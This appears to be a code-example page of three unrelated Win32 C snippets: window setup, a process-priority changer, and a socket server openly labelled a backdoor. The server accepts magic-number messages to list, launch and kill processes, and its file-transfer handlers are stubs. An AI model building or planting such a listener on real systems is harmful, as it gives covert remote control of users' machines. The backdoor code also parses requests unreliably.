Beispiel #1
0
//
//   FUNCTION: InitInstance(HINSTANCE, int)
//
//   PURPOSE: Saves instance handle and creates main window
//
//   COMMENTS:
//
//        In this function, we save the instance handle in a global variable and
//        create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;

   hInst = hInstance; // Store instance handle in our global variable

   hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);

   if (!hWnd)
   {
      return FALSE;
   }

   hListBox1 = CreateWindow(L"ListBox", NULL, WS_CHILD | WS_VISIBLE | LBS_STANDARD,
	   10, 10, 400, 350, hWnd, (HMENU)ID_LISTBOX_1, hInstance, NULL);
   hListBox2 = CreateWindow(L"ListBox", NULL, WS_CHILD | WS_VISIBLE | LBS_STANDARD,
	   430, 10, 400, 350, hWnd, (HMENU)ID_LISTBOX_2, hInstance, NULL);

   EnumerateProcesses();

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);

   return TRUE;
}
Beispiel #2
0
void ChangeProcessPriority(DWORD priority)
{
	int index = SendMessage(hListBox1, LB_GETCURSEL, 0, 0);
	int processId = SendMessage(hListBox1, LB_GETITEMDATA, index, 0);

	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
	if (!SetPriorityClass(hProcess, priority))
		MessageBox(NULL, L"Can't change priority for selected process!", L"Something wrong", MB_ICONERROR);
	CloseHandle(hProcess);

	EnumerateProcesses();
}
Beispiel #3
0
int _tmain(int argc, _TCHAR* argv[])
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    SOCKET server_socket = INVALID_SOCKET;

    sockaddr_in service; // socket address to bind to

    wVersionRequested = MAKEWORD(2, 2);

    err = WSAStartup(wVersionRequested, 
        &wsaData);
    if (err != 0) 
    {
        // Check if error = WSAVERNOTSUPPORTED and if is --
        // It means ws2_32.dll is too old.  This system needs a serious update.
        wprintf(L"WSAStartup failed with error: %d\n", err);

        return -1;
    }


    //
    // Create a socket 
    //
    server_socket = socket(AF_INET, 
        SOCK_STREAM, 
        IPPROTO_TCP);
    if (server_socket == INVALID_SOCKET) 
    {
        wprintf(L"Create socket failed. Error: %u\n", WSAGetLastError());

        WSACleanup();

        return -1;
    }

    //
    // Fill in sockaddr_in -- Address family, IP address, port
    //
    service.sin_family = AF_INET;
    service.sin_addr.s_addr = inet_addr("127.0.0.1");    //(INADDR_ANY);     //("127.0.0.1");
    service.sin_port = htons(PORT_NUM);

    //
    // Bind the socket
    //

    err = bind(server_socket, 
        (SOCKADDR *) &service, 
        sizeof (service));
    if (err == SOCKET_ERROR)
    {
        wprintf(L"Bind failed. Error: %u\n", WSAGetLastError());

        closesocket(server_socket);
        WSACleanup();

        return -1;
    }

    //
    // Listen for incoming connections
    //

    if (listen(server_socket, 
        SOMAXCONN) == SOCKET_ERROR)
    {
        wprintf(L"Listen() failed.  Error: %d\n", WSAGetLastError());

        closesocket(server_socket);
        WSACleanup();

        return -1;
    }

    wprintf(L"Listening on port: %d\n", PORT_NUM);

    //
    // Accept connections
    //
    SOCKET connectSocket;

    connectSocket = accept(server_socket, 
        NULL, 
        NULL);
    if (connectSocket == INVALID_SOCKET) 
    {
        wprintf(L"Accept() failed.  Error: %ld\n", WSAGetLastError());

        closesocket(server_socket);
        WSACleanup();

        return -1;
    } 

    wprintf(L"New client connected!\n");


    //
    // Receive Data
    //

    char recvbuf[RECEIVE_BUFLEN];

    int bytes_received = recv(connectSocket, 
        recvbuf, 
        sizeof(recvbuf),
        0);
    if ( bytes_received > 0 )
    {
        wprintf(L"Bytes received: %d\n", bytes_received);
    }

    //
    // Verify valid backdoor msg
    //

    // IMPORTANT:  For future need to check proper receive length

    char* buf_ptr = recvbuf;

    if(*((DWORD*)buf_ptr) == BACKDOOR_MAGIC_NUMBER)
    {
        wprintf(L"Valid Backdoor message!\n");

        buf_ptr += sizeof(DWORD);

        switch( *((BACKDOOR_MSG*)buf_ptr))
        {
        case BKDOOR_HEARTBEAT:

            wprintf(L"BKDOOR_HEARTBEAT received!\n");

            SendAck(connectSocket);

            break;

        case BKDOOR_PUT_FILE:

            wprintf(L"BKDOOR_PUT_FILE received!\n");

            break;

        case BKDOOR_GET_FILE:
            wprintf(L"BKDOOR_GET_FILE received!\n");
            break;

        case BKDOOR_GET_PROCESS_LIST:
            {
                wprintf(L"BKDOOR_GET_PROCESS_LIST received!\n");

                if(EnumerateProcesses(connectSocket))
                {
                    SendAck(connectSocket);
                }
                else
                {
                    SendNAK(connectSocket);
                }
            }
            break;

        case BKDOOR_EXECUTE_PROCESS:
            {
                wprintf(L"BKDOOR_EXECUTE_PROCESS received!\n");

                BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf);

                if(ExecuteProcess(req.szExeFile))
                {
                    SendAck(connectSocket);
                }
                else
                {
                    SendNAK(connectSocket);
                }
            }

            break;


        case BKDOOR_KILL_PROCESS:
            {
                wprintf(L"BKDOOR_KILL_PROCESS received!\n");

                BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf);

                if(KillProcess(req.th32ProcessID))
                {
                    SendAck(connectSocket);
                }
                else
                {
                    SendNAK(connectSocket);
                }
            }

            break;

        default:
            wprintf(L"Error: Unknown message received!\n");
            break;
        }
    }

    //
    // Cleanup
    //

    closesocket(connectSocket);
    closesocket(server_socket);
    WSACleanup();

    return 0;
}